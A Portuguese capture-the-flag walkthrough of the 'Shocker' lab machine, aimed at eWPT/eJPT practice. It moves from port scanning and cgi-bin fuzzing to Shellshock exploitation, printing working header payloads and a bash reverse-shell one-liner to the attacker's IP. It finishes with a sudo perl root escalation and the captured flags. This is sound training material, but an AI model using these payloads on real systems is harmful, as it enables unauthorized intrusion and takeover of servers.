Shocker

#easy #eWPT #eJPT

Máquina Linux fácil projetada para explorar um ShellShock e por fim escalar privilégios utilizando o comando perl como root.

Portscan

Comecei executando um ping no endereço IP do alvo para determinar o sistema operacional em uso. O valor TTL mais próximo de 64 indica que há grandes chances do alvo estar executando um sistema operacional Linux.

attacker> ping -c 1 10.10.10.56
PING 10.10.10.56 (10.10.10.56) 56(84) bytes of data.
64 bytes from 10.10.10.56: icmp_seq=1 ttl=63 time=175 ms

--- 10.10.10.56 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 174.546/174.546/174.546/0.000 ms

Em seguida, executei um escaneamento de porta no alvo para identificar quaisquer portas abertas que pudessem ser usadas para novos ataques. Usei a ferramenta rustscan para verificar todas as portas (1-65535) no alvo. A varredura revelou a porta 80 HTTP aberta rodando um Apache 2.4.18 em um Linux Ubuntu.

attacker> rustscan -a 10.10.10.56 -r 1-65535 --ulimit 5000 -- -sCV -n -Pn -oX nmap.xml
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------

PORT   STATE SERVICE REASON         VERSION
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-methods:
|_  Supported Methods: OPTIONS GET HEAD POST

HTTP (80) Enumeration

Em seguida, passei a enumerar o serviço HTTP usando a ferramenta whatweb para coletar informações sobre o software e a versão do servidor web.

attacker> whatweb -v http://10.10.10.56/ | tee whatweb.txt
WhatWeb report for http://10.10.10.56/
Status    : 200 OK
Title     : <None>
IP        : 10.10.10.56
Country   : RESERVED, ZZ

Summary   : Apache[2.4.18], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)]
...
HTTP Headers:
        HTTP/1.1 200 OK
        Date: Sun, 30 Oct 2022 22:59:35 GMT
        Server: Apache/2.4.18 (Ubuntu)
        Last-Modified: Fri, 22 Sep 2017 20:01:19 GMT
        ETag: "89-559ccac257884-gzip"
        Accept-Ranges: bytes
        Vary: Accept-Encoding
        Content-Encoding: gzip
        Content-Length: 134
        Connection: close
        Content-Type: text/html

Na página inicial do servidor web existe apenas uma imagem com o texto "Don't Bug Me".

Content Discovery

Nesta fase, tentei descobrir conteúdo e diretórios ocultos no servidor web usando uma ferramenta chamada ffuf. Essa técnica pode ser útil para descobrir conteúdo oculto em um servidor web que pode não ser facilmente descoberto por meio de testes manuais ou outras técnicas.

Directory Fuzzing

Nesse caso, isso me permitiu descobrir o diretório "cgi-bin", que posso investigar mais a fundo na próxima etapa.

attacker> ffuf -c -ic -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://10.10.10.56/FUZZ/ -of html -o fuzzDir.html

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.10.56/FUZZ/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt
 :: Output file      : fuzzDir.html
 :: File format      : html
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

.htpasswd               [Status: 403, Size: 296, Words: 22, Lines: 12, Duration: 368ms]
.htaccess               [Status: 403, Size: 296, Words: 22, Lines: 12, Duration: 369ms]
.hta                    [Status: 403, Size: 291, Words: 22, Lines: 12, Duration: 390ms]
cgi-bin/                [Status: 403, Size: 295, Words: 22, Lines: 12, Duration: 464ms]
cgi-bin                 [Status: 403, Size: 294, Words: 22, Lines: 12, Duration: 464ms]

Common Gateway Interface (CGI) is an interface specification that enables web servers to execute an external program, typically to process user requests.

Such programs are often written in a scripting language and are commonly referred to as CGI scripts, but they may include compiled programs.

File Fuzzing

Com a presença do diretório cgi-bin, podemos continuar nossa enumeração em busca de scripts presentes neste diretório, passando as extensões de algumas linguagens comuns para criação de scripts, como .pl,.sh e .cgi. Com isso encontramos o script user.sh.

attacker> ffuf -c -ic -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://10.10.10.56/cgi-bin/FUZZ -e .pl,.sh,.cgi -of html -o fuzzCGIBIN.html

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.10.56/cgi-bin/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt
 :: Extensions       : .pl .sh .cgi
 :: Output file      : fuzzCGIBIN.html
 :: File format      : html
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

.htaccess.pl            [Status: 403, Size: 306, Words: 22, Lines: 12, Duration: 183ms]
.htaccess               [Status: 403, Size: 303, Words: 22, Lines: 12, Duration: 183ms]
.htaccess.sh            [Status: 403, Size: 306, Words: 22, Lines: 12, Duration: 191ms]
.htpasswd.pl            [Status: 403, Size: 306, Words: 22, Lines: 12, Duration: 189ms]
.htpasswd               [Status: 403, Size: 303, Words: 22, Lines: 12, Duration: 192ms]
.htaccess.cgi           [Status: 403, Size: 307, Words: 22, Lines: 12, Duration: 192ms]
.hta.pl                 [Status: 403, Size: 301, Words: 22, Lines: 12, Duration: 195ms]
.hta                    [Status: 403, Size: 298, Words: 22, Lines: 12, Duration: 192ms]
.htpasswd.cgi           [Status: 403, Size: 307, Words: 22, Lines: 12, Duration: 185ms]
.hta.cgi                [Status: 403, Size: 302, Words: 22, Lines: 12, Duration: 193ms]
.htpasswd.sh            [Status: 403, Size: 306, Words: 22, Lines: 12, Duration: 193ms]
.hta.sh                 [Status: 403, Size: 301, Words: 22, Lines: 12, Duration: 195ms]
user.sh                 [Status: 200, Size: 119, Words: 19, Lines: 8, Duration: 649ms]

Acessando este script, vemos que ele executa o comando bash uptime.

attacker> curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh"
Content-Type: text/plain

Just an uptime test script

 19:10:33 up 14 min,  0 users,  load average: 0.00, 0.01, 0.00

Como se trata de um cgi-bin executando comandos bash, isso nos leva a pensar que existe a possibilidade de haver uma vulnerabilidade de shellshock neste endpoint.

Shellshock, also known as Bashdoor, is a family of security bugs in the Unix Bash shell, the first of which was disclosed on 24 September 2014. Shellshock could enable an attacker to cause Bash to execute arbitrary commands and gain unauthorized access to many Internet-facing services, such as web servers, that use Bash to process requests.

Shellshock

Como forma de validação, podemos rodar um script do nmap que detecta se a aplicação é vulnerável a shellshock.

attacker> nmap -p80 --script http-shellshock --script-args uri=/cgi-bin/user.sh 10.10.10.56
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-30 19:16 EDT
Nmap scan report for 10.10.10.56
Host is up (0.21s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-shellshock:
|   VULNERABLE:
|   HTTP Shellshock vulnerability
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2014-6271
|       This web application might be affected by the vulnerability known
|       as Shellshock. It seems the server is executing commands injected
|       via malicious HTTP headers.
|
|     Disclosure date: 2014-09-24
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
|       http://seclists.org/oss-sec/2014/q3/685
|_      http://www.openwall.com/lists/oss-security/2014/09/24/10

Outra ferramenta com scripts para teste de vulnerabilidade é o Nuclei, acessando o repositório nuclei-templates procurando por shellshock, podemos ver que o template "CVE-2014-6271: ShellShock - Remote Code Execution" detecta se a aplicação está vulnerável.

attacker> nuclei -u "http://10.10.10.56/cgi-bin/user.sh" -t "cves/2014/CVE-2014-6271.yaml"


                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   2.7.8

                projectdiscovery.io

[WRN] Use with caution. You are responsible for your actions.
[WRN] Developers assume no liability and are not responsible for any misuse or damage.
[INF] Using Nuclei Engine 2.7.8 (latest)
[INF] Using Nuclei Templates 9.2.6 (latest)
[INF] Templates added in last update: 100
[INF] Templates loaded for scan: 1
[2022-10-30 19:19:49] [CVE-2014-6271] [http] [critical] http://10.10.10.56/cgi-bin/user.sh

Ambas as ferramentas de varredura de vulnerabilidade nos dizem que o alvo é vulnerável. Portanto, podemos executar comandos bash remotamente no alvo. Para explorar manualmente, precisamos descobrir quais campos são vulneráveis. Para isso usaremos a ferramenta tshark para capturar os pacotes enviados pelo script do nmap.

Então, vamos nos colocar em escuta com o tshark e executar a varredura do nmap novamente.

attacker> nmap -p80 --script http-shellshock --script-args uri=/cgi-bin/user.sh 10.10.10.56
attacker> tshark -w Packets.cap -i tun0
Capturing on 'tun0'
 ** (tshark:173446) 19:22:14.931530 [Main MESSAGE] -- Capture started.
 ** (tshark:173446) 19:22:14.931619 [Main MESSAGE] -- File: "Packets.cap"
51 ^C
tshark:

attacker> ls
Packets.cap

Após o tshark capturar os pacotes enviados pelo nmap, podemos analisá-los para encontrar os campos vulneráveis ao Shellshock.

attacker> tshark -r Packets.cap -Y "http" 2>/dev/null
   17 9.808414871  10.10.10.56  10.10.16.49  HTTP 535 HTTP/1.1 400 Bad Request  (text/html)
   27 10.201765402  10.10.16.49  10.10.10.56  HTTP 293 GET /cgi-bin/user.sh HTTP/1.1
   49 10.565589460  10.10.10.56  10.10.16.49  HTTP 178 HTTP/1.1 200 OK  (text/x-sh)

Aparecem alguns pacotes HTTP, podemos listar seus detalhes em JSON. Os campos vulneráveis geralmente são encontrados em tcp.payload no formato hexadecimal, que podemos converter em texto claro usando a ferramenta xxd.

attacker> tshark -r Packets.cap -Y "http" -Tfields -e "tcp.payload" 2>/dev/null | xxd -ps -r; echo
HTTP/1.1 400 Bad Request
Date: Sun, 30 Oct 2022 23:22:38 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 301
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.18 (Ubuntu) Server at 127.0.1.1 Port 80</address>
</body></html>
GET /cgi-bin/user.sh HTTP/1.1
User-Agent: () { :;}; echo; echo -n napmqct; echo stdritb
Connection: close
Referer: () { :;}; echo; echo -n napmqct; echo stdritb
Host: 10.10.10.56
Cookie: () { :;}; echo; echo -n napmqct; echo stdritb

1


1b
Just an uptime test script

1


3f
 19:22:40 up 26 min,  0 users,  load average: 0.00, 0.00, 0.00

2



0

Portanto, podemos ver que o nmap injetou payloads nos campos User-Agent, Referer e Cookie do cabeçalho de requisição, portanto, esses campos são vulneráveis ao Shellshock. Assim, para explorar manualmente podemos utilizar qualquer um destes campos. Neste caso utilizaremos o User-Agent.

Como PoC, podemos injetar o comando whoami no campo User-Agent usando cURL para ver se obtemos a saída desse comando.

attacker> which whoami
/usr/bin/whoami

attacker> curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; }; /usr/bin/whoami"
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
misconfiguration and was unable to complete
your request.</p>
<p>Please contact the server administrator at
 webmaster@localhost to inform them of the time this error occurred,
 and the actions you performed just before this error.</p>
<p>More information about this error may be available
in the server error log.</p>
<hr>
<address>Apache/2.4.18 (Ubuntu) Server at 10.10.10.56 Port 80</address>
</body></html>

No entanto, um erro 500 (Internal Server Error) é retornado. Quando isso acontece, podemos colocar um echo no payload do Shellshock para ver se funciona.

attacker> curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; };echo; /usr/bin/whoami"
shelly

Agora sim recebemos o retorno do comando whoami, que nos mostra que o usuário que está rodando a aplicação web no sistema se chama shelly.

Se você deseja executar esse mesmo comando automaticamente com o nmap, pode usar o one-liner abaixo.

attacker> nmap -p80 --script http-shellshock --script-args uri=/cgi-bin/user.sh,cmd=/usr/bin/whoami 10.10.10.56

Se isso não funcionar, pode ser necessário adicionar um "echo;" no payload do script "http-shellshock.nse" do nmap, como precisamos fazer manualmente.

attacker> grep ';echo;' /usr/share/nmap/scripts/http-shellshock.nse
  cmd = "() { :;};echo; " .. cmd

Gaining Access

Como existe a vulnerabilidade de Shellshock, podemos enviar comandos bash para o alvo, então vamos enviar um comando para nos retornar uma reverse shell.

attacker> curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; };echo; /bin/bash -i >& /dev/tcp/10.10.16.49/443 0>&1"

Assim ganhamos acesso ao alvo.

attacker> nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.49] from (UNKNOWN) [10.10.10.56] 37470
bash: no job control in this shell
shelly@Shocker:/usr/lib/cgi-bin$ whoami; hostname -I
whoami; hostname -I
shelly
10.10.10.56 dead:beef::250:56ff:feb9:dca2

TTY Treatment

Para estabilizar meu console após obter acesso, usei o comando "script /dev/null -c bash" que inicia uma nova sessão do bash e envia toda a saída para /dev/null. Em seguida, coloquei o processo em segundo plano com Ctrl+Z e executei "stty raw -echo" e "fg" para colocar o processo de volta em primeiro plano.

shelly@Shocker:/usr/lib/cgi-bin$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
shelly@Shocker:/usr/lib/cgi-bin$ ^Z
zsh: suspended  nc -nlvp 443

attacker> stty raw -echo; fg
[1]  + continued  nc -nlvp 443
                              reset xterm

Em seguida, verifiquei e consertei o tamanho do terminal com "stty size", e também defini minhas variáveis de ambiente $TERM e $SHELL como xterm e bash respectivamente. Essas etapas me ajudaram a melhorar a legibilidade e a usabilidade da interface de linha de comando enquanto trabalhava no alvo.

attacker> stty size                           
53 209
shelly@Shocker:/usr/lib/cgi-bin$ stty rows 53 columns 209
shelly@Shocker:/usr/lib/cgi-bin$ export TERM=xterm SHELL=bash

Uma vez logado, naveguei até o diretório /home do usuário shelly e encontrei a flag user.txt.

shelly@Shocker:/home/shelly$ cat user.txt
64d4a6c2f78524bf3841df54230a15d6

Com essa flag, concluímos o primeiro objetivo do CTF e podemos passar para a próxima etapa de escalar privilégios para obter acesso a flag root.txt.

Privilege Escalation

Utilizando o comando sudo -l, foi possível verificar quais comandos o usuário atual tinha permissão de executar como root. O comando revelou que o usuário tinha permissão para executar o comando perl como root sem a necessidade de inserir uma senha. Isso foi possível devido a configuração incorreta do arquivo de configuração do sudo.

shelly@Shocker:/home/shelly$ sudo -l
Matching Defaults entries for shelly on Shocker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl

Utilizando a ferramenta gtfobins, encontramos uma forma de obter um shell como root. Com isso, conseguimos escalar privilégios e obter acesso como root na máquina alvo.

shelly@Shocker:/home/shelly$ sudo perl -e 'exec "/bin/sh";'
# whoami
root

Então basta ler a flag root.txt no diretório /root para concluir o objetivo do CTF.

# cat /root/root.txt
f8b307e1ea2540edad73516196530299

Atualizado